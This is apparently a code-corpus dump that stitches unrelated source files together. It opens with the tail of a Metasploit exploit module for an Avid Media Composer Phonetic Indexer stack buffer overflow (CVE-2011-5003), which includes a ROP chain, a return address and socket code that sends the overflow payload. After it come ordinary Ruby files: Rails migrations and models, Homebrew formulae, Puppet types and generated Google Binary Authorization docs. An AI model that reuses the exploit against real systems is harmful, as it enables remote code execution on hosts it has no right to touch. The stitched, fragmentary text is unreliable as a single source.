AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
it standalone it will run on port 4660.
},
'License' => MSF_LICENSE,
'Author' =>
[
'vt [[email protected]]',
],
'References' =>
[
['CVE', '2011-5003'],
['OSVDB', '77376'],
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
],
'Payload' =>
{
'Space' => 1012,
'BadChars' => "\x00\x09\x0a\x0d\x20",
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EAX',
}
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP Professional SP3',
{
'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)
}
],
],
'Privileged' => false,
'DisclosureDate' => "Nov 29 2011",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(4659),
])
end
def exploit
rop_gadgets = [
# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
# a non-sayonara ROP would be super easy too, I'm just lazy :)
0x7C344CC1, # pop eax;ret;
0x7C3410C2, # pop ecx;pop ecx;ret;
0x7C342462, # xor chain; call eax {0x7C3410C2}
0x7C38C510, # writeable location for lpflOldProtect
0x7C365645, # pop esi;ret;
0x7C345243, # ret;
0x7C348F46, # pop ebp;ret;
0x7C3487EC, # call eax
0x7C344CC1, # pop eax;ret;
0xfffffbfc, # {size}
0x7C34D749, # neg eax;ret; {adjust size}
0x7C3458AA, # add ebx, eax;ret; {size into ebx}
0x7C3439FA, # pop edx;ret;
0xFFFFFFC0, # {flag}
0x7C351EB1, # neg edx;ret; {adjust flag}
0x7C354648, # pop edi;ret;
0x7C3530EA, # mov eax,[eax];ret;
0x7C344CC1, # pop eax;ret;
0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
0x7C355AEB, # sub eax,30;ret;
0x7C378C81, # pushad; add al,0xef; ret;
0x7C36683F, # push esp;ret;
].pack("V*")
# need to control a buffer reg for the msf gen'd payload to fly. in this case:
bufregfix = "\x8b\xc4" # MOV EAX,ESP
bufregfix += "\x83\xc0\x10" # ADD EAX,10
connect
sploit = ''
sploit << rand_text_alpha_upper(216)
sploit << [target.ret].pack('V*')
sploit << "A"*732 #This avoids a busted LoadLibrary
sploit << rop_gadgets
sploit << bufregfix
sploit << "\xeb\x09"
sploit << rand_text_alpha_upper(9)
sploit << payload.encoded
sock.put(sploit)
handler
disconnect
end
end
| 31.390909 | 153 | 0.565885 |
08516eef5f89a5f960a073aef08b6ec25d20f1f4 | 243 | class AddCheckableToHardwares < ActiveRecord::Migration[5.0]
def change
add_column :hardwares, :checkable, :boolean
add_column :hardwares, :last_checked_at, :datetime
add_column :hardwares, :notified_of_error, :boolean
end
end
| 30.375 | 60 | 0.765432 |
5d2ef3fffec5501c2044c9a18bf1d6a27d64a44e | 1,594 | require_dependency 'spam_protection'
require 'timeout'
class Comment < Feedback
belongs_to :article
belongs_to :user
content_fields :body
validates_presence_of :author, :body
attr_accessor :user_agent
attr_accessor :referrer
attr_accessor :permalink
def notify_user_via_email(user)
if user.notify_via_email?
EmailNotify.send_comment(self, user)
end
end
# 当有新评论时,发email给任何评论过该文章的人
def self.notify_users_via_email(comment,comment_user)
logger.debug "debug >>> #{comment.inspect}"
EmailNotify.send_comment(comment, comment_user)
end
def interested_users
users = User.find_boolean(:all, :notify_on_comments)
self.notify_users = users
users
end
def default_text_filter
blog.comment_text_filter.to_text_filter
end
def atom_author(xml)
xml.author { xml.name author }
end
def rss_author(xml)
end
def atom_title(xml)
xml.title "Comment on #{article.title} by #{author}", :type => 'html'
end
def rss_title(xml)
xml.title "Comment on #{article.title} by #{author}"
end
protected
def article_allows_feedback?
return true if article.allow_comments?
errors.add(:article, "Article is not open to comments")
false
end
def originator
author
end
def additional_akismet_options
{ :user_agent => user_agent,
:referrer => referrer,
:permalink => permalink }
end
def self.html_map(field=nil)
html_map = { :body => true }
if field
html_map[field.to_sym]
else
html_map
end
end
def content_fields
[:body]
end
end
| 19.204819 | 73 | 0.698871 |
18435888bbdaad06e5e7b477749ec71a0eeca63c | 620 | class AddDummyModels < ActiveRecord::Migration[5.1]
def change
create_table :posts, force: true do |t|
t.timestamps
t.string :title
t.integer :author_id
t.integer :status, null: false, default: 0
t.integer :likes, null: false, default: 0
t.integer :category
t.timestamp :published_at
end
create_table :comments, force: true do |t|
t.timestamps
t.integer :post_id
t.integer :author_id
t.integer :likes, null: false, default: 0
end
create_table :authors, force: true do |t|
t.timestamps
t.string :name
end
end
end
| 23.846154 | 51 | 0.632258 |
26d5ff094512fec289fb68f67419d8ba951aa5c2 | 1,483 | ################################################################################
# (C) Copyright 2016-2017 Hewlett Packard Enterprise Development LP
#
# Licensed under the Apache License, Version 2.0 (the "License");
# You may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
################################################################################
Puppet::Type.newtype(:oneview_managed_san) do
desc "Oneview's managed_san Bundle"
ensurable do
defaultvalues
# :nocov:
# Get Methods
newvalue(:found) do
provider.found
end
newvalue(:get_zoning_report) do
provider.get_zoning_report
end
newvalue(:get_endpoints) do
provider.get_endpoints
end
newvalue(:set_refresh_state) do
provider.set_refresh_state
end
# :nocov:
end
newparam(:name, namevar: true) do
desc 'managed_san name'
end
newparam(:data) do
desc 'managed_san data hash'
validate do |value|
raise Puppet::Error, 'Inserted value for data is not valid' unless value.class == Hash
end
end
end
| 27.981132 | 92 | 0.63857 |
796a728f85ca8a69f318496d26277d2fd19f010f | 1,853 | require_relative 'boot'
require 'rails/all'
Bundler.require(*Rails.groups)
require_relative "danbooru_default_config"
require_relative "danbooru_local_config"
module Danbooru
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 5.1
config.active_record.schema_format = :sql
config.encoding = "utf-8"
config.filter_parameters += [:password]
config.assets.enabled = true
config.assets.version = '1.0'
config.autoload_paths += %W(#{config.root}/app/presenters #{config.root}/app/logical #{config.root}/app/mailers)
config.plugins = [:all]
config.time_zone = 'Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna'
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {:enable_starttls_auto => false}
config.action_mailer.perform_deliveries = true
config.log_tags = [->(req) {"PID:#{Process.pid}"}]
config.action_controller.action_on_unpermitted_parameters = :raise
config.force_ssl = true
if Rails.env.production? && Danbooru.config.ssl_options.present?
config.ssl_options = Danbooru.config.ssl_options
else
config.ssl_options = {
hsts: false,
secure_cookies: false,
redirect: { exclude: ->(request) { true } }
}
end
if File.exists?("#{config.root}/REVISION")
config.x.git_hash = File.read("#{config.root}/REVISION").strip
elsif system("type git > /dev/null && git rev-parse --show-toplevel > /dev/null")
config.x.git_hash = %x(git rev-parse --short HEAD).strip
else
config.x.git_hash = nil
end
config.after_initialize do
Rails.application.routes.default_url_options = {
host: Danbooru.config.hostname,
}
end
end
I18n.enforce_available_locales = false
end
| 33.690909 | 116 | 0.699946 |
339d93e61343bed5a68b4d572310f632ec2f0b3d | 703 | Pod::Spec.new do |s|
s.name = "NSString-Hashes"
s.version = "1.2.1"
s.summary = "Simple Category of NSString that allows for easy MD5, SHA1 and SHA2 hashing."
s.homepage = "https://github.com/hypercrypt/NSString-Hashes"
s.license = { :type => "public domain", :file => 'LICENSE' }
s.author = { "Klaus-Peter Dudas" => "[email protected]" }
s.source = {
:git => "https://github.com/hypercrypt/NSString-Hashes.git",
:tag => "1.2.1"
}
s.ios.deployment_target = '5.0'
s.osx.deployment_target = '10.8'
s.source_files = 'NSString+Hashes.{h,m}'
s.exclude_files = 'Classes/Exclude'
s.requires_arc = true
end
| 27.038462 | 97 | 0.59175 |
1c83fa5472fdc86f61ed9ea9b6bfe523a0fea0a9 | 561 | # frozen_string_literal: true
# Copyright 2019 OpenTelemetry Authors
#
# SPDX-License-Identifier: Apache-2.0
require 'test_helper'
describe OpenTelemetry::SDK::Trace::NoopSpanProcessor do
let(:processor) { OpenTelemetry::SDK::Trace::NoopSpanProcessor.instance }
let(:span) { nil }
it 'implements #on_start' do
processor.on_start(span)
end
it 'implements #on_finish' do
processor.on_finish(span)
end
it 'implements #force_flush' do
processor.force_flush
end
it 'implements #shutdown' do
processor.shutdown
end
end
| 19.344828 | 75 | 0.727273 |
1168aae875c5bf4d14b58cf7c874a3de660a6a4c | 1,087 | module Internal
class EventBuilding
include ActiveModel::Model
include ActiveModel::Attributes
include ApiModelConvertible
attribute :id, :string
attribute :venue, :string
attribute :address_line1, :string
attribute :address_line2, :string
attribute :address_line3, :string
attribute :address_city, :string
attribute :address_postcode, :string
validates :venue, presence: true, allow_blank: false, length: { maximum: 100 }
validates :address_line1, length: { maximum: 255 }
validates :address_line2, length: { maximum: 255 }
validates :address_line3, length: { maximum: 255 }
validates :address_city, length: { maximum: 100 }
validates :address_postcode, presence: true, postcode: true, allow_blank: false, length: { maximum: 100 }
def self.initialize_with_api_building(building)
hash = convert_attributes_from_api_model(building)
new(hash)
end
def to_api_building
hash = convert_attributes_for_api_model
GetIntoTeachingApiClient::TeachingEventBuilding.new(hash)
end
end
end
| 32.939394 | 109 | 0.727691 |
ff20f8a5b6ec00e6ac1ed28c0f22bbd23c30055a | 1,185 | require "language/haskell"
class Cryptol < Formula
include Language::Haskell::Cabal
desc "Domain-specific language for specifying cryptographic algorithms"
homepage "https://www.cryptol.net/"
url "https://hackage.haskell.org/package/cryptol-2.8.0/cryptol-2.8.0.tar.gz"
sha256 "b061bf88de09de5034a3707960af01fbcc0425cdbff1085c50c00748df9910bb"
head "https://github.com/GaloisInc/cryptol.git"
bottle do
cellar :any_skip_relocation
sha256 "0aca3e2c29be5d4533e6114f0e7fd774173358f92d0f4e73903d0d536fb54160" => :mojave
sha256 "04d3178e67b8836a720d82dc3b88d1c69366aae6f0e7abdb9a1155b7dc31c28c" => :high_sierra
sha256 "3c3ffec1e47196b6c1767086fb9cc62e792546476cad5c6b92896eb45db13744" => :sierra
end
depends_on "cabal-install" => :build
depends_on "ghc" => :build
depends_on "z3"
uses_from_macos "ncurses"
def install
install_cabal_package :using => ["alex", "happy"]
end
test do
(testpath/"helloworld.icry").write <<~EOS
:prove \\(x : [8]) -> x == x
:prove \\(x : [32]) -> x + zero == x
EOS
expected = /Q\.E\.D\..*Q\.E\.D/m
assert_match expected, shell_output("#{bin}/cryptol -b helloworld.icry")
end
end
| 32.027027 | 93 | 0.722363 |
611fd067b9e0dac950625375288275c25faf0073 | 123 | require 'spec_helper'
describe "home/index.html.erb" do
pending "add some examples to (or delete) #{__FILE__}"
end
| 20.5 | 57 | 0.707317 |
385b89c17f31bce8cada7d47f82556da5de96161 | 324 | module Spreedly
class CreditCard < PaymentMethod
field :first_name, :last_name, :full_name, :month, :year
field :number, :last_four_digits, :card_type, :verification_value
field :address1, :address2, :city, :state, :zip, :country, :phone_number
field :eligible_for_card_updater, type: :boolean
end
end
| 29.454545 | 76 | 0.731481 |
1cbf92c8e1905cc3d3ad0a6760e12cdabf8a3867 | 1,933 | class Xtensor < Formula
desc "Multi-dimensional arrays with broadcasting and lazy computing"
homepage "https://xtensor.readthedocs.io/en/latest/"
url "https://github.com/QuantStack/xtensor/archive/0.23.3.tar.gz"
sha256 "97c43372b6bd1634b6d647a4b318fae541d0c305bac9ec299d3d1bd42790d1f2"
license "BSD-3-Clause"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "0f9254d829d62028528ce92a8653d288f243af018be14f4eaf07996699a947aa"
sha256 cellar: :any_skip_relocation, big_sur: "b81d51e8d6b2f99efbdb89b0d1f492cba687469c821ba1bd8dd7e0b954ce6b92"
sha256 cellar: :any_skip_relocation, catalina: "2c6a3e6874ea41ab79d381ee7dd223e7f482bd78bf11c7d18d9b2cdad5a08b2a"
sha256 cellar: :any_skip_relocation, mojave: "b877077d4b4a9d5c57a8b26b30eb8c2a2b0486c9c7c4aadacc60ac92eebf4df8"
end
depends_on "cmake" => :build
resource "xtl" do
url "https://github.com/xtensor-stack/xtl/archive/0.7.2.tar.gz"
sha256 "95c221bdc6eaba592878090916383e5b9390a076828552256693d5d97f78357c"
end
def install
resource("xtl").stage do
system "cmake", ".", *std_cmake_args
system "make", "install"
end
system "cmake", ".", "-Dxtl_DIR=#{lib}/cmake/xtl", *std_cmake_args
system "make", "install"
end
test do
(testpath/"test.cc").write <<~EOS
#include <iostream>
#include "xtensor/xarray.hpp"
#include "xtensor/xio.hpp"
#include "xtensor/xview.hpp"
int main() {
xt::xarray<double> arr1
{{11.0, 12.0, 13.0},
{21.0, 22.0, 23.0},
{31.0, 32.0, 33.0}};
xt::xarray<double> arr2
{100.0, 200.0, 300.0};
xt::xarray<double> res = xt::view(arr1, 1) + arr2;
std::cout << res(2) << std::endl;
return 0;
}
EOS
system ENV.cxx, "-std=c++14", "test.cc", "-o", "test", "-I#{include}"
assert_equal "323", shell_output("./test").chomp
end
end
| 33.327586 | 122 | 0.672012 |
6a538f5ab40c4eb9bbeeb9b599f3966763c5a9f2 | 1,086 | module Puppet::Parser::Functions
newfunction(:calc_log_num_mtt, :type => :rvalue, :doc => <<-EOS
EOS
) do |args|
# Validate the number of args
if args.size < 0
raise(Puppet::ParseError, "calc_log_num_mtt(): Takes at least one " +
"args, but #{args.size} given.")
end
if args.size > 3
raise(Puppet::ParseError, "calc_log_num_mtt(): Takes at most three " +
"args, but #{args.size} given.")
end
mem = args[0].to_i
log_mtts_per_seg = args[1] || 3
page_size_bytes = args[2] || 4096
log_mtts_per_seg_multiplier = 2**log_mtts_per_seg.to_i
reg_mem = mem * 1024 * 1024 * 2
result = 0
i = 1
while result == 0 do
target = (2**i) * page_size_bytes.to_i * log_mtts_per_seg_multiplier
target_next = (2**(i+1)) * page_size_bytes.to_i * log_mtts_per_seg_multiplier
if target > reg_mem
break
elsif target == reg_mem
result = i
elsif target < reg_mem and target_next > reg_mem
result = i + 1
end
i += 1
end
result
end
end
| 23.608696 | 83 | 0.597606 |
1a8aa885f9ab5e5c139cf4e102835e80d07cc0da | 3,084 | # frozen_string_literal: true
# Copyright 2016 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Base command line module for samples. Provides authorization support,
# either using application default credentials or user authorization
# depending on the use case.
module ZoomLauncher
class GoogleAuth < Thor
include Thor::Actions
OOB_URI = 'urn:ietf:wg:oauth:2.0:oob'
class_option :user, type: :string
class_option :api_key, type: :string
no_commands do
# Returns the path to the client_secrets.json file.
def client_secrets_path
return ENV['GOOGLE_CLIENT_SECRETS'] if ENV.key?('GOOGLE_CLIENT_SECRETS')
well_known_path_for('client_secrets.json')
end
# Returns the path to the token store.
def token_store_path
return ENV['GOOGLE_CREDENTIAL_STORE'] if ENV.key?('GOOGLE_CREDENTIAL_STORE')
well_known_path_for('credentials.yaml')
end
# Builds a path to a file in $HOME/.config/google (or %APPDATA%/google,
# on Windows)
def well_known_path_for(file)
if OS.windows?
dir = ENV.fetch('HOME') { ENV['APPDATA'] }
File.join(dir, 'google', file)
else
File.join(ENV['HOME'], '.config', 'google', file)
end
end
# Returns application credentials for the given scope.
def application_credentials_for(scope)
Google::Auth.get_application_default(scope)
end
# Returns user credentials for the given scope. Requests authorization
# if requrired.
def user_credentials_for(scope)
FileUtils.mkdir_p(File.dirname(token_store_path))
client_id = if ENV['GOOGLE_CLIENT_ID']
Google::Auth::ClientId.new(ENV['GOOGLE_CLIENT_ID'], ENV['GOOGLE_CLIENT_SECRET'])
else
Google::Auth::ClientId.from_file(client_secrets_path)
end
token_store = Google::Auth::Stores::FileTokenStore.new(file: token_store_path)
authorizer = Google::Auth::UserAuthorizer.new(client_id, scope, token_store)
user_id = options[:user] || 'default'
credentials = authorizer.get_credentials(user_id)
if credentials.nil?
url = authorizer.get_authorization_url(base_url: OOB_URI)
`open "#{url}"`
code = ask 'Enter the authorization code:'
credentials = authorizer.get_and_store_credentials_from_code(
user_id: user_id, code: code, base_url: OOB_URI
)
end
credentials
end
end
end
end
| 35.448276 | 102 | 0.671206 |
21b8c778e7ebd010febb19c291ad64b254eafc42 | 4,932 | # frozen_string_literal: true
require "dependable"
# A dependency on another Homebrew formula.
class Dependency
extend Forwardable
include Dependable
attr_reader :name, :tags, :env_proc, :option_names
DEFAULT_ENV_PROC = proc {}.freeze
def initialize(name, tags = [], env_proc = DEFAULT_ENV_PROC, option_names = [name])
raise ArgumentError, "Dependency must have a name!" unless name
@name = name
@tags = tags
@env_proc = env_proc
@option_names = option_names
end
def to_s
name
end
def ==(other)
instance_of?(other.class) && name == other.name && tags == other.tags
end
alias eql? ==
def hash
name.hash ^ tags.hash
end
def to_formula
formula = Formulary.factory(name)
formula.build = BuildOptions.new(options, formula.options)
formula
end
def installed?
to_formula.latest_version_installed?
end
def satisfied?(inherited_options)
installed? && missing_options(inherited_options).empty?
end
def missing_options(inherited_options)
formula = to_formula
required = options
required |= inherited_options
required &= formula.options.to_a
required -= Tab.for_formula(formula).used_options
required
end
def modify_build_environment
env_proc&.call
end
def inspect
"#<#{self.class.name}: #{name.inspect} #{tags.inspect}>"
end
# Define marshaling semantics because we cannot serialize @env_proc
def _dump(*)
Marshal.dump([name, tags])
end
def self._load(marshaled)
new(*Marshal.load(marshaled)) # rubocop:disable Security/MarshalLoad
end
class << self
# Expand the dependencies of dependent recursively, optionally yielding
# `[dependent, dep]` pairs to allow callers to apply arbitrary filters to
# the list.
# The default filter, which is applied when a block is not given, omits
# optionals and recommendeds based on what the dependent has asked for.
def expand(dependent, deps = dependent.deps, &block)
# Keep track dependencies to avoid infinite cyclic dependency recursion.
@expand_stack ||= []
@expand_stack.push dependent.name
expanded_deps = []
deps.each do |dep|
next if dependent.name == dep.name
# we only care about one level of test dependencies.
next if dep.test? && @expand_stack.length > 1
case action(dependent, dep, &block)
when :prune
next
when :skip
next if @expand_stack.include? dep.name
expanded_deps.concat(expand(dep.to_formula, &block))
when :keep_but_prune_recursive_deps
expanded_deps << dep
else
next if @expand_stack.include? dep.name
expanded_deps.concat(expand(dep.to_formula, &block))
expanded_deps << dep
end
end
merge_repeats(expanded_deps)
ensure
@expand_stack.pop
end
def action(dependent, dep, &_block)
catch(:action) do
if block_given?
yield dependent, dep
elsif dep.optional? || dep.recommended?
prune unless dependent.build.with?(dep)
end
end
end
# Prune a dependency and its dependencies recursively
def prune
throw(:action, :prune)
end
# Prune a single dependency but do not prune its dependencies
def skip
throw(:action, :skip)
end
# Keep a dependency, but prune its dependencies
def keep_but_prune_recursive_deps
throw(:action, :keep_but_prune_recursive_deps)
end
def merge_repeats(all)
grouped = all.group_by(&:name)
all.map(&:name).uniq.map do |name|
deps = grouped.fetch(name)
dep = deps.first
tags = merge_tags(deps)
option_names = deps.flat_map(&:option_names).uniq
dep.class.new(name, tags, dep.env_proc, option_names)
end
end
private
def merge_tags(deps)
other_tags = deps.flat_map(&:option_tags).uniq
other_tags << :test if deps.flat_map(&:tags).include?(:test)
merge_necessity(deps) + merge_temporality(deps) + other_tags
end
def merge_necessity(deps)
# Cannot use `deps.any?(&:required?)` here due to its definition.
if deps.any? { |dep| !dep.recommended? && !dep.optional? }
[] # Means required dependency.
elsif deps.any?(&:recommended?)
[:recommended]
else # deps.all?(&:optional?)
[:optional]
end
end
def merge_temporality(deps)
# Means both build and runtime dependency.
return [] unless deps.all?(&:build?)
[:build]
end
end
end
class TapDependency < Dependency
attr_reader :tap
def initialize(name, tags = [], env_proc = DEFAULT_ENV_PROC, option_names = [name.split("/").last])
@tap = Tap.fetch(name.rpartition("/").first)
super(name, tags, env_proc, option_names)
end
def installed?
super
rescue FormulaUnavailableError
false
end
end
| 25.163265 | 101 | 0.65734 |
1d7d0dba8009e49dc29f2303f37790a310e29ff9 | 607 | define :enable_package, :version => nil do
name = params[:name]
version = params[:version]
full_name = name + ("-#{version}" if version)
unmask = params[:unmask] || false
update_file "local portage package.keywords" do
path "/etc/portage/package.keywords/local"
body "=#{full_name}"
not_if "grep '=#{full_name}' /etc/portage/package.keywords/local"
end
if unmask
update_file "local portage package.unmask" do
path "/etc/portage/package.unmask/local"
body "=#{full_name}"
not_if "grep '=#{full_name}' /etc/portage/package.keywords/local"
end
end
end
| 28.904762 | 71 | 0.668863 |
b98092854d5016999e2cb3019241d8c10162e29e | 395 | require '../dna'
File.open("gc.txt", 'r') do |f|
id = ""
dna_strings = {}
f.each_line do |l|
if l =~ />(Rosalind_\d+)/
id = $1
else
dna_strings[id] ||= DNA.new
dna_strings[id].str << l.chomp
end
end
max = ['', 0]
dna_strings.each do |name, obj|
cg_content = obj.cg_content
max = [name, cg_content] if cg_content > max[1]
end
puts max
end
| 17.173913 | 51 | 0.549367 |
873da9d3f8a6550b8e8ca04c100a785af1c096a6 | 1,624 | class PasswordsController < Devise::PasswordsController
include AuthHelper
skip_before_action :require_no_authentication, raise: false
skip_before_action :authenticate_user!, raise: false
def update
# params: reset_password_token, password, password_confirmation
original_token = params[:reset_password_token]
reset_password_token = Devise.token_generator.digest(self, :reset_password_token, original_token)
@recoverable = User.find_by(reset_password_token: reset_password_token)
if @recoverable && reset_password_and_confirmation(@recoverable)
send_auth_headers(@recoverable)
render json: {
data: @recoverable.token_validation_response
}
else
render json: { "message": 'Invalid token', "redirect_url": '/' }, status: 422
end
end
def create
@user = User.find_by(email: params[:email])
if @user
@user.send_reset_password_instructions
build_response(I18n.t('messages.reset_password_success'), 200)
else
build_response(I18n.t('messages.reset_password_failure'), 404)
end
end
protected
def reset_password_and_confirmation(recoverable)
recoverable.confirm unless recoverable.confirmed? # confirm if user resets password without confirming anytime before
recoverable.reset_password(params[:password], params[:password_confirmation])
recoverable.reset_password_token = nil
recoverable.confirmation_token = nil
recoverable.reset_password_sent_at = nil
recoverable.save!
end
def build_response(message, status)
render json: {
"message": message
}, status: status
end
end
| 33.142857 | 121 | 0.749384 |
1a2effd8d827e855d794579a6f3f62200192cddf | 113 | require "fullpagejs/rails/version"
require "fullpagejs/rails/engine"
module Fullpagejs
module Rails
end
end
| 14.125 | 34 | 0.79646 |
b9a0da50f79dd70a6945eed0900452a67e30faf7 | 975 | require "socket"
module StoryTeller::Dispatchers
class Agent
class SocketPathNotDefined < StandardError; end
def initialize(config)
@path = config[:path]
if @path.nil?
raise SocketPathNotDefined
end
@path.freeze
end
## This method is used in a multi threaded
# environment. For this reason, it can only read from
# frozen variables and inputs fed into this method.
#
# The method also send data through the socket
# without blocking the thread. This means we don't
# deal with the return value.
#
# If any error happens here, we just log to stderr
# and move on.
def submit(data)
socket = ::UNIXSocket.new(@path)
socket.sendmsg_nonblock(data, 0)
socket.close
rescue StandardError => e
log(e, data)
end
private
def log(error, data)
logger = StoryTeller::Config.logger
logger.error error
logger.error data
end
end
end
| 23.214286 | 57 | 0.646154 |
9111dcf87afc3f83408f590be3beb644f849d9b9 | 15,997 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
module Google
module Cloud
module BinaryAuthorization
module V1beta1
# A {::Google::Cloud::BinaryAuthorization::V1beta1::Policy policy} for container
# image binary authorization.
# @!attribute [r] name
# @return [::String]
# Output only. The resource name, in the format `projects/*/policy`. There is
# at most one policy per project.
# @!attribute [rw] description
# @return [::String]
# Optional. A descriptive comment.
# @!attribute [rw] global_policy_evaluation_mode
# @return [::Google::Cloud::BinaryAuthorization::V1beta1::Policy::GlobalPolicyEvaluationMode]
# Optional. Controls the evaluation of a Google-maintained global admission
# policy for common system-level images. Images not covered by the global
# policy will be subject to the project admission policy. This setting
# has no effect when specified inside a global admission policy.
# @!attribute [rw] admission_whitelist_patterns
# @return [::Array<::Google::Cloud::BinaryAuthorization::V1beta1::AdmissionWhitelistPattern>]
# Optional. Admission policy allowlisting. A matching admission request will
# always be permitted. This feature is typically used to exclude Google or
# third-party infrastructure images from Binary Authorization policies.
# @!attribute [rw] cluster_admission_rules
# @return [::Google::Protobuf::Map{::String => ::Google::Cloud::BinaryAuthorization::V1beta1::AdmissionRule}]
# Optional. Per-cluster admission rules. Cluster spec format:
# `location.clusterId`. There can be at most one admission rule per cluster
# spec.
# A `location` is either a compute zone (e.g. us-central1-a) or a region
# (e.g. us-central1).
# For `clusterId` syntax restrictions see
# https://cloud.google.com/container-engine/reference/rest/v1/projects.zones.clusters.
# @!attribute [rw] default_admission_rule
# @return [::Google::Cloud::BinaryAuthorization::V1beta1::AdmissionRule]
# Required. Default admission rule for a cluster without a per-cluster, per-
# kubernetes-service-account, or per-istio-service-identity admission rule.
# @!attribute [r] update_time
# @return [::Google::Protobuf::Timestamp]
# Output only. Time when the policy was last updated.
class Policy
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
# @!attribute [rw] key
# @return [::String]
# @!attribute [rw] value
# @return [::Google::Cloud::BinaryAuthorization::V1beta1::AdmissionRule]
class ClusterAdmissionRulesEntry
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
module GlobalPolicyEvaluationMode
# Not specified: DISABLE is assumed.
GLOBAL_POLICY_EVALUATION_MODE_UNSPECIFIED = 0
# Enables system policy evaluation.
ENABLE = 1
# Disables system policy evaluation.
DISABLE = 2
end
end
# An [admission allowlist
# pattern][google.cloud.binaryauthorization.v1beta1.AdmissionWhitelistPattern]
# exempts images from checks by [admission
# rules][google.cloud.binaryauthorization.v1beta1.AdmissionRule].
# @!attribute [rw] name_pattern
# @return [::String]
# An image name pattern to allow, in the form `registry/path/to/image`.
# This supports a trailing `*` as a wildcard, but this is allowed only in
# text after the `registry/` part.
class AdmissionWhitelistPattern
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
# An {::Google::Cloud::BinaryAuthorization::V1beta1::AdmissionRule admission rule}
# specifies either that all container images used in a pod creation request
# must be attested to by one or more
# {::Google::Cloud::BinaryAuthorization::V1beta1::Attestor attestors}, that all pod
# creations will be allowed, or that all pod creations will be denied.
#
# Images matching an [admission allowlist
# pattern][google.cloud.binaryauthorization.v1beta1.AdmissionWhitelistPattern]
# are exempted from admission rules and will never block a pod creation.
# @!attribute [rw] evaluation_mode
# @return [::Google::Cloud::BinaryAuthorization::V1beta1::AdmissionRule::EvaluationMode]
# Required. How this admission rule will be evaluated.
# @!attribute [rw] require_attestations_by
# @return [::Array<::String>]
# Optional. The resource names of the attestors that must attest to
# a container image, in the format `projects/*/attestors/*`. Each
# attestor must exist before a policy can reference it. To add an attestor
# to a policy the principal issuing the policy change request must be able
# to read the attestor resource.
#
# Note: this field must be non-empty when the evaluation_mode field specifies
# REQUIRE_ATTESTATION, otherwise it must be empty.
# @!attribute [rw] enforcement_mode
# @return [::Google::Cloud::BinaryAuthorization::V1beta1::AdmissionRule::EnforcementMode]
# Required. The action when a pod creation is denied by the admission rule.
class AdmissionRule
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
module EvaluationMode
# Do not use.
EVALUATION_MODE_UNSPECIFIED = 0
# This rule allows all all pod creations.
ALWAYS_ALLOW = 1
# This rule allows a pod creation if all the attestors listed in
# 'require_attestations_by' have valid attestations for all of the
# images in the pod spec.
REQUIRE_ATTESTATION = 2
# This rule denies all pod creations.
ALWAYS_DENY = 3
end
# Defines the possible actions when a pod creation is denied by an admission
# rule.
module EnforcementMode
# Do not use.
ENFORCEMENT_MODE_UNSPECIFIED = 0
# Enforce the admission rule by blocking the pod creation.
ENFORCED_BLOCK_AND_AUDIT_LOG = 1
# Dryrun mode: Audit logging only. This will allow the pod creation as if
# the admission request had specified break-glass.
DRYRUN_AUDIT_LOG_ONLY = 2
end
end
# An {::Google::Cloud::BinaryAuthorization::V1beta1::Attestor attestor} that attests
# to container image artifacts. An existing attestor cannot be modified except
# where indicated.
# @!attribute [rw] name
# @return [::String]
# Required. The resource name, in the format:
# `projects/*/attestors/*`. This field may not be updated.
# @!attribute [rw] description
# @return [::String]
# Optional. A descriptive comment. This field may be updated.
# The field may be displayed in chooser dialogs.
# @!attribute [rw] user_owned_drydock_note
# @return [::Google::Cloud::BinaryAuthorization::V1beta1::UserOwnedDrydockNote]
# A Drydock ATTESTATION_AUTHORITY Note, created by the user.
# @!attribute [r] update_time
# @return [::Google::Protobuf::Timestamp]
# Output only. Time when the attestor was last updated.
class Attestor
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
# An [user owned drydock
# note][google.cloud.binaryauthorization.v1beta1.UserOwnedDrydockNote]
# references a Drydock ATTESTATION_AUTHORITY Note created by the user.
# @!attribute [rw] note_reference
# @return [::String]
# Required. The Drydock resource name of a ATTESTATION_AUTHORITY Note,
